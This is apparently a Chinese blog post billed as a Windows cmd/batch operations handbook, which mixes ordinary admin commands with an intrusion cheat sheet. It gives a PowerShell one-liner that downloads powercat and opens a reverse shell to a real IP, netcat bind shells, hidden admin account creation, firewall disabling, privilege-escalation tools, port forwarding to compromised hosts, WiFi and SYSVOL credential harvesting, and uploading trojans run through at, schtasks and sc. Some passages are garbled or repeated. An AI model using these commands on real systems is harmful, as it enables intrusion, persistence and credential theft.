运维知识点-Windows操作系统cmd/Dos批处理命令与脚本手册bat

Windows操作系统命令与脚本总结

管理员权限:

添加账号并加入管理员组

cpp 复制代码
net user admin1 admin1 /add & net localgroup administrators admin1 /add

添加用户至远程桌面组

net localgroup "Remote Desktop Users" aming /add

#此组中的成员被授予远程登录的权限

允许修改密码

net user 用户名 /passwordchg:yes

防火墙 :

关闭防火墙

cpp 复制代码
netsh firewall set opmode mode=disable

添加防火墙规则,允许 3389 端口通信:

cpp 复制代码
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow 

匹配出注册表信息中的软件:

find "DisplayName" reg.txt |find /V "ParentDisplayName" > tmplist.txt

获取完整补丁信息(比systeminfo全):

wmic qfe list

获取系统和版本信息

cpp 复制代码
systeminfo | findstr /B /I /C:"os name" /C: "OS Version"

/B: 在一行开始匹配,

/I:不区分大小写

/C:string :使用指定的字符串作为文字搜索字符串

如果是中文操作系统,输入如下命令

cpp 复制代码
systeminfo | findstr /B /I /C:"os 名称" /C: "OS 版本"

4,查看系统体系结构

echo %processor_architecture%

5,查看安装的软件及版本、路径等

wmic product get name,version

6,利用powershell命令,收集软件版本信息,具体如下

powershell "get-wmiobject -class win32_product | select-object -property name,version"

7,查询本机服务信息

wmic service list brief

显示本地或远程机器上当前运行的进程列表。

一般情况下我们都是通过tasklist查看系统当前正在运行的进程,然后通过tskill来关闭。

cpp 复制代码
tasklill xxxx
cpp 复制代码
tasklist /v

tasklit /S 192.168.10.1 /U administrator /P Admin@123       
//列出DC上运行的进程

/S 指定IP地址
/U 指定哪个用户执行这个命令
/P 指定该用户密码

wmic process list brief

9,查看启动程序信息

wmic startup get command,caption

10,查看计划任务

schtasks /query /fo list /v

11,查看主机开机时间

net statistics workstation

12,查询用户列表

net user

13,获取本地管理员组的信息

net localgroup administrators

14,查看当前在线用户

query user || qwinsta

15,列出或断开本地计算机和连接的客户端的会话

net session

16,查询端口列表

netstat -ano

17 ,查询补丁信息

systeminfo

18,使用wmic 识别安装系统中的补丁情况

wmic qfe get Caption,Description,HotFixID,InstalledOn

19,查询本机共享,命令如下

net share

利用wmic 查找共享,命令如下

wmic share get name,path,status

21,关闭防火墙命令

#windows server 2003 系统之前版本,命令如下:

netsh firewall set opmode disable

#windows server 2003 之后的系统版本

netsh advfirewall set allprofiles state off

22,查看防火墙配置

netsh firewall show config

23,修改防火墙配置

#windows server 2003 系统之前版本,命令如下:

netsh firewall add allowedprogram c:\nc.exe "allow nc" enable

#windows server 2003 之后的系统版本,允许指定程序连入

netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="c:\nc.exe"

允许指定程序连出 ,命令如下

netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="c:\nc.exe"

允许3389端口放行,命令如下

netsh advfirewall firewall add rule name="remote Desktop" protocol=tcp dir=in localport =3389 action=allow

24,查看计算机代理配置情况

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

25,查询并开启远程连接服务

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

#在windows 2003中开启3389

wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1

#在windows2008和widnows 2012中开启3389

wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1

wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1

reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

域相关

查询当前登陆域:

net config workstation

set log

echo %logonserver%

查询域控制器主机名:

net group "domain controllers" /domain

nltest /dclist:域

查询域管名字:net group "domain admins" /domain

查看当前域机器列表:net group "domain computers" /domain

查询当前所有域用户: net user /domain

当前域分组情况:net group /domain

查看共享目录:net share

查看当前在线用户:query user || qwinsta

查看远程计算机tasklist:tasklist /S ip /U domain\username /P /V

查看本机杀软:WMIC /Node:localhost /Namespace:\root\SecurityCenter2 Path AntivirusProduct Get displayName

远程桌面连接记录:cmdkey /l

本机已安装程序:wmic product get name,version

本机相关信息

Windows

查看当前用户权限:whoami /all

查看当前用户是否属于管理组:net localgroup administrators && whoami

查看当前系统是否为虚拟机:systeminfo | findstr /i "System Model"

本机配置信息:systeminfo

本机任务列表:tasklist

查看已安装软件:

对外已开启端口服务:netstat -ano

获取系统注册的服务信息:sc query state= all

查看本机保存的登陆凭证:cmdkey /l

查看防火墙状态:netsh advfirewall show allprofiles

查看连过的WIFI:netsh wlan show profiles

查看wifi的密码:netsh wlan show profile name="wifi名称" key=clear

查看RDP连接凭证:dir /a %userprofile%\AppData\Local\Microsoft\Credentials*

查看域内某台主机详情:net view /domain:XXX

获取域里面所有机子的本地管理员账号密码:dir /s /a \域控IP\SYSVOL*.xml

powershell

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 101.35.124.140 -p 6666 -e cmd

操作系统 TTL

LINUX 64

WIN2K/NT 128

WINDOWS 系列 32

52 win

UNIX 系列 255

wmic qfe GET hotfixid | findstr /C:"KB4012212

explorer

操作系统 服务命令列表

  • winver---------检查windows版本


wmimgmt.msc----打开windows管理体系结构(wmi)



wupdmgr Windows更新程序

wscript Windows脚本宿主设置

文档

https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/wscript



write----------写字板



winmsd---------系统信息



wiaacmgr-------扫描仪和照相机向导



winchat--------xp自带局域网聊天

mem.exe--------显示内存使用情况

msconfig.exe---系统配置实用程序



mplayer2-------简易 widnowsmediaplayer 媒体播放机

mspaint--------画图板



mstsc----------远程桌面连接



magnify--------放大镜实用程序



mmc------------打开控制台



mobsync--------同步命令



dxdiag---------检查directx信息



drwtsn32------系统医生

devmgmt.msc---设备管理器



dfrg.msc-------磁盘碎片整理程序

diskmgmt.msc---磁盘管理实用程序

dcomcnfg-------打开系统组件服务

ddeshare-------打开dde共享设置

dvdplay--------dvd播放器

nslookup-------ip地址侦测器

netstopmessenger-----停止信使服务

netstartmessenger----开始信使服务

notepad--------打开记事本

nslookup-------网络管理的工具向导

ntbackup-------系统备份和还原

narrator-------屏幕"讲述人"

ntmsmgr.msc----移动存储管理器

ntmsoprq.msc---移动存储管理员操作请求

netstat-an----(tc)命令检查接口

syncapp--------创建一个公文包

sysedit--------系统配置编辑器

sigverif-------文件签名验证程序

sndrec32-------录音机

shrpubw--------创建共享文件夹

secpol.msc-----本地安全策略

syskey---------系统加密,一旦加密就不能解开,保护windowsxp系统的双重密码

services.msc---本地服务设置

sndvol32-------音量控制程序

sfc.exe--------系统文件检查器

sfc/scannow---windows文件保护(扫描错误并复原)

tsshutdn-------60秒倒计时关机命令

tourstart------xp简介(安装完成后出现的漫游xp程序)

taskmgr--------任务管理器(2000/xp/2003)

eventvwr-------事件查看器

eudcedit-------造字程序

explorer-------打开资源管理器

packager-------对象包装程序

perfmon.msc----计算机性能监测程序

progman--------程序管理器

regedit.exe----注册表

rsop.msc-------组策略结果集

regedt32-------注册表编辑器

rononce-p----15秒关机

regsvr32/u*.dll----停止dll文件运行

regsvr32/uzipfldr.dll------取消zip支持

cmd.exe--------cmd命令提示符

chkdsk.exe 磁盘检查

cpp 复制代码
chkdsk F: /f

certmgr.msc----证书管理实用程序

calc-----------启动计算器

charmap--------启动字符映射表

cliconfg-------sqlserver客户端网络实用程序

clipbrd--------剪贴板查看器

conf-----------启动netmeeting

compmgmt.msc---计算机管理

cleanmgr-------LJ整理

ciadv.msc------索引服务程序

osk------------打开屏幕键盘

odbcad32-------odbc数据源管理器

oobe/msoobe/a----检查xp是否激活

lusrmgr.msc----本机用户和组

logoff---------注销命令

iexpress-------木马捆绑工具,系统自带

fsmgmt.msc-----共享文件夹管理器

utilman--------辅助工具管理器

gpedit.msc-----组策略

CMD部分提权常用命令

复制代码
whoami
net user            查看所有用户列表
echo %username%
systeminfo
net user admin password /add
net localgroup Administrators admin /add
net start telnet           开telnet服务
net use z:127.0.0.1c$     映射对方的C盘 
attrib    隐藏文件

开3389端口

复制代码
- Windows 控制台注册表工具
 调用3.0注册表的一个命令
 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
 
reg add /?   查看 命令 使用方法
REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
KeyName [\\Machine\]FullKey


REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
        [/reg:32 | /reg:64]

  KeyName  [\\Machine\]FullKey
           Machine  远程机器名 - 忽略默认到当前机器。远程机器上
                    只有 HKLM 和 HKU 可用。
           FullKey  ROOTKEY\SubKey
           ROOTKEY  [ HKLM | HKCU | HKCR | HKU | HKCC ]
           SubKey   所选 ROOTKEY 下注册表项的完整名称。

  /v       所选项之下要添加的值名称。

  /ve      为注册表项添加空白值名称(默认)。

  /t       RegKey 数据类型
           [ REG_SZ    | REG_MULTI_SZ | REG_EXPAND_SZ |
             REG_DWORD | REG_QWORD    | REG_BINARY    | REG_NONE ]
           如果忽略,则采用 REG_SZ。

  /s       指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符
           如果忽略,则将 "\0" 用作分隔符。

  /d       要分配给添加的注册表 ValueName 的数据。

  /f       不用提示就强行覆盖现有注册表项。

 /reg:32  指定应该使用 32 位注册表视图访问的注册表项。

 /reg:64  指定应该使用 64 位注册表视图访问的注册表项。

例如:

  REG ADD \\ABC\HKLM\Software\MyCo
    添加远程机器 ABC 上的一个注册表项 HKLM\Software\MyCo

  REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead
    添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead)

  REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail
    添加一个值(名称: MRU,类型: REG_MULTI_SZ,数据: fax\0mail\0\0)

  REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^%
    添加一个值(名称: Path,类型: REG_EXPAND_SZ,数据: %systemroot%)
    注意: 在扩充字符串中使用插入符号 ( ^ )

查终端端口

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

巴西烤肉 Churrasco.exe "命令"

使用方法:

C:\RECYCLER\Churrasco.exe "net user xiaoma xiaoma /add && net localgroup administrators xiaoma /add"

C:\RECYCLER\Churrasco.exe "net user admin$ /del" 删除帐号

query user 查看会话

logoff ID号 踢掉

C:\RECYCLER\Churrasco.exe "logoff 1"

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

NC反弹

路径\nc.exe -l -p 端口 -t -e 路径\cmd.exe

c:\RECYCLER\nc.exe -l -p 1234 -t -e c:\RECYCLER\cmd.exe

NC上传

DOS界面下运行:

NC -vv www.baidu.com 80<1.txt

-vv: 回显

80: www端口

1.txt: 就是你要发送的数据包

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

LCX端口转发

先本地监听51端口 lcx.exe -listen 51 3389

c:\recycler\lcx.exe -slave 自己的ip 51 肉鸡IP 3389 LCX转发

c:\recycler\lcx.exe -slave 222.222.222.222 51 111.111.111.111 3389

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

360提权

1.开启终端服务,端口为3389;用法:360.exe "port"

2.替换5下shift为cmd;用法:360.exe "sethc"

====================================================================

gethash使用

C:\RECYCLER\gethash.exe $local

=========================================================================

pr提权

c:\recycler\cmd.exe

c:\recycler\pr.exe

pr.exe "net user xiaoma xiaoma /add & net localgroup administrators xiaoma /add"

================================================================================

rar.exe打包命令

cmd.exe /c "\Program Files\winrar\rar.exe" a -r d:\wwwroot\1.rar d:\wwwroot

@查询存在关系的机器

Net view

@查询有几个域

nei view /damin

@查看 testdomain域中的计算机列表

net view /domain:testdomain

@查询域内的组

net group /domain

@划分网段

dsquery subnet

@查询域内用户

net user /domain

@查询域内组信息

net group /domain

@查询域管理用户组

net group "domain admins" /domain

@查看管理员登陆时间,密码过期时间,是否有登陆脚本,组分配等信息!

net user domain-admin /domain

@查询域内计算机

net group "domain computers" /domain

@判断机器属于哪个域

net config Workstation

@判断主域.主域服务器都做时间服务器

net time /domian //这招是在LCX牛的文章里面学会的

net group "domain admins" /domain

@ipc域内连接

net use \IP\ipc$ password /user:username@domain

====

猜测内网结构的一些命令和工具

====

tracert 10.1.0.1

ping x.x.x.x

nbtscan -r 192.168.16.0/24

@扫描某个段的一些东西 //感谢玫瑰大叔的工具。感谢猫师傅给我说这个东东

hd.exe -hscan 10.0.0.1-10.0.0.255 /a /t 200

还有一个内网结构图形化表现工具

dude ///感谢影叔 感谢LInux520群得朋友说

还有一部分没有整理。过段时间在发上来吧~ 欢迎各位牛一起交流内网渗透。

systeminfo


获取NETBIOS主机名

  • ping -a IP

ping 测试网络连接

net account

  • net命令管理网络环境

该命令用于

更新用户的账户数据库,

并且为所有账户修改密码和登录需求,

如:强制用户在时间到期之后多久必须注销、

密码最长/短使用期限、密码长度下限、锁定阈值、锁定持续时间、

锁定观测窗口和计算机角色等详细信息

format:

"net accounts [/forcelogoff:{minutes|no}][/minpwlen:length][/maxpwage:{days|unlimited}][/minpwage:days][/uniquepw:number][/sync][/domain]"

for example:

"net accounts"


net computer 添加或者删除域数据库中的计算机,

所有计算机的添加和删除都会转发到主域控制器

format:"net computer \computername {/add|/del}"

  • net config

该命令用于显示工作站或服务器服务的配置消息,

或者显示并更改某项服务的设置

cpp 复制代码
format: net config [service[options]] 


  • net config workstation
    命令用于显示更改配置工作站服务参数,更改立即生效并永久保持

format:"net config workstation [/charcount:bytes][/chartime:msec][/charwait:sec]"

  • net continue

该命令能用重新激活挂起的服务

format:"net continue service"

  • net file

用于显示某种服务器上所有打开的共享文件夹及锁定文件夹数,

也可以关闭个别文件并取消文件锁定

  • net group

用于Windows NT Server域中添加、更改或显示全局组,

仅在Windows NT Server域中可用

format:

"net group [groupname [/comment:"text"]][/domain]

net group groupname {/add[/comment:"text"]|delete}[/domain]

net group groupname username[...]{/add|/delete}[/domain]"

  • net help

该命令用于提供网络命令列表及帮助主题,

format:"net help [command] net command {/help|/?}"

  • net localgroup

用于显示、删除或更改本地组

format:

"net localgroup [groupname [/comment:"text"]][/domain]

net localgroup groupname{/add [/comment:"text"]|/delete}[/domain]

net localgroup groupname name[...]{/add|/delete}[/domain]"

  • net name

用于添加或删除消息名(有时称别名),或显示计算机接受消息的列表。要使用该命令则必须先运行信使服务

format:"net name[name [/add|/delete]]"

  • net print

用于显示或控制打印作业及打印队列

format:"net print \computername

net print \sharename

net print [\computername] job# [/hold|/release|/delete]"

  • net session

用于列出或断开本地计算机和与之连接的客户端会话

format:"net session [\computername][/delete]"

  • net send

用于向网络的其他用户、计算机发送消息。要接受消息必须运行信使服务

format:"net send {name|*|/domain[:name]|/users} message"

  • net share

用于创建、删除或显示共享资源

format:"net share sharename

net share sharename=drive:path [/users:number|/unlimited][/remark:"text"]

net share sharename [/users:number|unlimited][/remark:"text"]

net share {sharename|drive:path} /delete"

  • net time

用于时计算机的时间与另一台计算机或域的时间同步。

不带/set参数时,将显示另外一台计算机或域的时间

format:"net time [\computername|/domain[:name]][/set]"

telnet命令进行远程登陆

格式

format:"telnet ip地址/主机名称"

步骤

输入"telnet 主机名/ip地址"启动telnet会话

一旦telnet成功连接到远程计算机上,就显示登陆信息并提示用户输入用户名和口令

如果输入正确就能成功的登录并在远程计算机上工作

使用ftp命令进行数据传输

格式

format:"ftp -v -d -l -n -g [主机名]"

使用netstat命令查看网络连接的相关信息

使用netstat -a命令:显示所有连接和端口

使用netstat -b命令:显示包含创建每个连接或者监听端口的可执行文件

使用netstat -e命令:显示以太网数据统计,可以结合-s使用

使用netstat -n命令:能以网络IP地址代替名称,显示网络连接情形

netstat /help查看命令帮助。。。

tracert 查看IP数据报的传输路径

tracert是路由跟踪实用程序, 用于确定IP数据包访问目标所采取的路径

format:

cpp 复制代码
 tracert [-d][-h maximum_hops][-j host-list][-w timeout] targer_name 
for example: 

tracert 主机名 

IPC$入侵与防范

建立IPC$连接

format:"net use \IP\ipc$ Password/user:Admin"

IP:目标ip地址

Password:目标计算机密码

Admin:目标计算机用户名

建立映射

format:"net use z:\IP\c$"

\IP\c 表示目标电脑上的C盘,符号表示隐藏的共享,

z:表示将远程主机的C盘映射为本地磁盘的盘符

查看远程连接

format:"net use * /del"

空连接漏洞

format:"net use \ip "" /user:"" " --注意一共有四个空格 引号不能少

IPC$连接原本是要求客户机具有足够的权限才能连接到主机,

然而该漏洞允许客户端使用空用户名和密码就可以与目标主机成功建立连接。

虽然这样无法执行管理类操作,

既不能映射网络驱动器、上传文件、执行脚本命令,

但是却可以用来探测目标主机中的一些信息。

Telnet入侵

使用telnet入侵前必须建立IPC$连接,

建立连接是为了方便开启远程计算机中被禁用的telnet服务

format:"sc \ip config tlntsvr start=auto" --用sc命令把禁用的telnet服务变成自动

"sc \ip start tlntsvr" --用sc命令启动telnet服务

"telnet ip" --登录telnet

"net share" --查看默认共享

"net share sharename=drive:path" --建立cKaTeX parse error: Undefined control sequence: \1 at position 18: ... "copy \̲1̲.txt \\ip\c" --copy命令上传木马 这里是把命令行切到c盘下了,1.txt在C盘根目录

"at \ip time cmd" --at命令定时执行 time参数为时间 cmd为上传到目标主机共享的程序名 即木马

"net user 用户名 密码 /add" --添加用户

"net localgroup administrators 用户名 /add" --为上一步添加的用户名加入工作组

注意:如果对方采用了NTLM认证策略,

可以连接网络注册表修改

HKEYLOCAL\MACHINE\SOFTWARE\MICROSOFT\TELNETSERVERf\1.0 下的

NTLM键值由2改成0,然后重启telnet服务

copy复制一份或多份文件

cpp 复制代码
copy C:\test.txt \\192.168.10.1\c$      
//将test.txt文件复制到DC的C盘目录下(可复制木马等)
cpp 复制代码
 copy 1.jpg /b + 1.jsp /a 2.jpg   
 //生成图片马

通过注册表入侵

Windows注册表是帮助

Widnows控制软硬件 、用户环境和Windows界面的一套数据文件,

入侵者可在注册表编辑器中

通过连接网络注册表进入远程计算机的注册表并进行实时监控。

如果想阻止该入侵,只需要关闭Remote Registry服务

网络

ipconfig 显示本地IP地址

netstat -anp/ano

netstat -ano -p tcp | find ":3389" >nul 2>nul && echo 3389端口开启!|| echo 3389 no!

查看路由表及所有可用接口的arp缓存表

arp -a

route print

tasklist /v

net user

#添加用户

net user aming HackamingMM /add

#添加用户至管理员组

net localgroup "administrators" 用户名 /add

#添加用户至远程桌面组

net localgroup "Remote Desktop Users" 用户名 /add #此组中的成员被授予远程登录的权限

#允许修改密码 net user 用户名 /passwordchg:yes

wmic qfe GET hotfixid | findstr /C:"KB4012212

explorer

4,查看系统体系结构

echo %processor_architecture%

5,查看安装的软件及版本、路径等

wmic product get name,version

powershell

收集软件版本信息,具体如下

powershell "get-wmiobject -class win32_product | select-object -property name,version"

7,查询本机服务信息

wmic service list brief

8,查询进程列表

tasklist /v

wmic process list brief

9,查看启动程序信息

wmic startup get command,caption

10,查看计划任务

schtasks /query /fo list /v

11,查看主机开机时间

net statistics workstation

12,查询用户列表

net user

13,获取本地管理员组的信息

net localgroup administrators

14,查看当前在线用户

query user || qwinsta

15,列出或断开本地计算机和连接的客户端的会话

net session

16,查询端口列表

netstat -ano

17 ,查询补丁信息

systeminfo

18,使用wmic 识别安装系统中的补丁情况

wmic qfe get Caption,Description,HotFixID,InstalledOn

19,查询本机共享,命令如下

net share

利用wmic 查找共享,命令如下

wmic share get name,path,status

21,关闭防火墙命令

#windows server 2003 系统之前版本,命令如下:

netsh firewall set opmode disable

#windows server 2003 之后的系统版本

netsh advfirewall set allprofiles state off

22,查看防火墙配置

netsh firewall show config

23,修改防火墙配置

#windows server 2003 系统之前版本,命令如下:

netsh firewall add allowedprogram c:\nc.exe "allow nc" enable

#windows server 2003 之后的系统版本,允许指定程序连入

netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="c:\nc.exe"

允许指定程序连出 ,命令如下

netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="c:\nc.exe"

允许3389端口放行,命令如下

netsh advfirewall firewall add rule name="remote Desktop" protocol=tcp dir=in localport =3389 action=allow

24,查看计算机代理配置情况

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

25,查询并开启远程连接服务

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

#在windows 2003中开启3389

cpp 复制代码
wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1

#在windows2008和widnows 2012中开启3389

cpp 复制代码
wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1

reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

复制代码
域相关
查询当前登陆域:
net config workstation
set log
echo %logonserver% 
查询域控制器主机名:
net group "domain controllers" /domain
nltest /dclist:域
查询域管名字:net group "domain admins" /domain
查看当前域机器列表:net group "domain computers" /domain
查询当前所有域用户: net user /domain
当前域分组情况:net group /domain
查看共享目录:net share
查看当前在线用户:query user || qwinsta 
查看远程计算机tasklist:tasklist /S ip /U domain\username /P /V 
查看本机杀软:WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
远程桌面连接记录:cmdkey /l
本机已安装程序:wmic product get name,version 

本机相关信息
Windows
查看当前用户权限:whoami /all 
查看当前用户是否属于管理组:net localgroup administrators && whoami
查看当前系统是否为虚拟机:systeminfo | findstr /i "System Model"
本机配置信息:systeminfo
本机任务列表:tasklist
查看已安装软件:
对外已开启端口服务:netstat -ano
获取系统注册的服务信息:sc query state= all
查看本机保存的登陆凭证:cmdkey /l
查看防火墙状态:netsh advfirewall show allprofiles
查看连过的WIFI:netsh wlan show profiles
查看wifi的密码:netsh wlan show profile name="wifi名称" key=clear
查看RDP连接凭证:dir /a %userprofile%\AppData\Local\Microsoft\Credentials*
查看域内某台主机详情:net view /domain:XXX
获取域里面所有机子的本地管理员账号密码:dir /s /a \域控IP\SYSVOL*.xml
 
    
    
    Linux
查看当前用户:whoami
查看所有用户:cat /etc/passwd
查看用户所属组:id
查看当前系统是否为虚拟机:systemd-detect-virt
查看linux发行版本:cat /etc/redhat-release 
查看系统内核版本:cat /proc/version
查看系统详细信息:uname -a
本机进程列表:ps -ef
对外已开启端口服务:netstat -anp
查看iptables规则:iptables -nvL
查看selinux开启状态:getenforce
查看用户历史命令:
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
查询已安装软件:rpm -qa
查看所有用户计划任务:ls /var/spool/cron/

dir 用于显示目录的文件和子目录的列表

cpp 复制代码
dir \\192.168.10.1\c$       //列出DC上C盘的文件

type显示文本文件的内容

cpp 复制代码
type \\192.168.10.1\c$\test.txt         
//读取目标机器上的文件

at用于显示或创建计划任务

可通过at命令设置计划任务执行命令,将结果写入文件中,

然后通过type读取文件 时间可通过net time来获取

cpp 复制代码
at \\192.160.10.1 15:17:30 cmd.exe /c "ipconfig > c:\test"

也可设置定时任务来执行木马文件

通过copy等方法将木马文件上传至目标机器

cpp 复制代码
copy c:\artifact.exe \\192.168.10.1\c$

通过at来设置计划任务即可

cpp 复制代码
at \\192.168.10.1 15:20:30 c:\artifact.exe

删除计划任务

cpp 复制代码
at \\[IP] [ID] /delete     
 //在新建计划任务时会提示ID是多少或直接执行at可看计划任务ID
at \\192.168.10.1 1 /delete


schtasks命令

自Windows Vista、Windows Server 2008之后版本已经将at命令废弃了,

可使用schtasks命令代替,schtasks比at更灵活、自由.

常用参数:

/create 创建新计划任务

/query 列出所有计划任务

/delete 删除计划任务

/run 运行计划任务

/s 指定目标机器

/u 指定用户名

/p 指定木马

/tn 指定计划任务名称

/sc 指定计划频率(MINUTE、 HOURLY、DAILY、WEEKLY、MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT)

/tr 指定任务运行程序的路径

/ru 指定任务运行权限( ""、"NT AUTHORITY\SYSTEM" 或"SYSTEM")

/st 指定运行任务的开始时间

在目标机器上创建一个名为test的计划任务,

该计划任务在开机时启动,启动程序为C盘下的artifact.exe,

启动权限为system

cpp 复制代码
schtasks /create /s 192.168.10.1 /tn test /sc onstart /tr c:\artifact.exe /ru system /u administrator /p "Admin@123" /f

查看名为test的任务

cpp 复制代码
schtasks /query /s 192.168.10.1 /u administrator /p "Admin@123" /tn "test"

删除计划任务

cpp 复制代码
schtasks /delete /s 192.168.10.1 /u administrator /p "Admin@123" /tn "test"

在使用schtasks命令时,会在系统中留下日志C:\windows\tasks\schedlgu.txt

sc是用于与服务控制管理器和服务进行通信的命令行程序。

利用sc进行横向流程:

与目标机器建立ipc连接

将木马文件上传至目标机器

通过sc创建一个名为test的服务

cpp 复制代码
sc \\[IP] create [ServiceNname] binpath= "[path]"
sc \\192.168.10.1 create test binpath= "c:\artifact.exe"

启动test服务即可

cpp 复制代码
sc \\192.168.10.1 start test

删除创建的服务

cpp 复制代码
sc \\[IP] delete [ServerName]
sc \\192.168.10.1 delete test

通过设置服务来关闭防火墙

cpp 复制代码
sc \\192.168.10.1 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.19.1 start unablefirewall

cls 指电脑cmd命令提示符中用来清除屏幕的命令

相关推荐
七夜zippoe11 小时前
CANN Runtime任务描述序列化与持久化源码深度解码
大数据·运维·服务器·cann
Fcy64813 小时前
Linux下 进程(一)(冯诺依曼体系、操作系统、进程基本概念与基本操作)
linux·运维·服务器·进程
袁袁袁袁满13 小时前
Linux怎么查看最新下载的文件
linux·运维·服务器
代码游侠13 小时前
学习笔记——设备树基础
linux·运维·开发语言·单片机·算法
AI袋鼠帝13 小时前
Claude4.5+Gemini3 接管电脑桌面,这回是真无敌了..
人工智能·windows·aigc
Harvey90313 小时前
通过 Helm 部署 Nginx 应用的完整标准化步骤
linux·运维·nginx·k8s
獨枭14 小时前
Windows 下安装与使用 Miniconda 完整指南
windows
珠海西格电力科技14 小时前
微电网能量平衡理论的实现条件在不同场景下有哪些差异?
运维·服务器·网络·人工智能·云计算·智慧城市
释怀不想释怀15 小时前
Linux环境变量
linux·运维·服务器
zzzsde15 小时前
【Linux】进程(4):进程优先级&&调度队列
linux·运维·服务器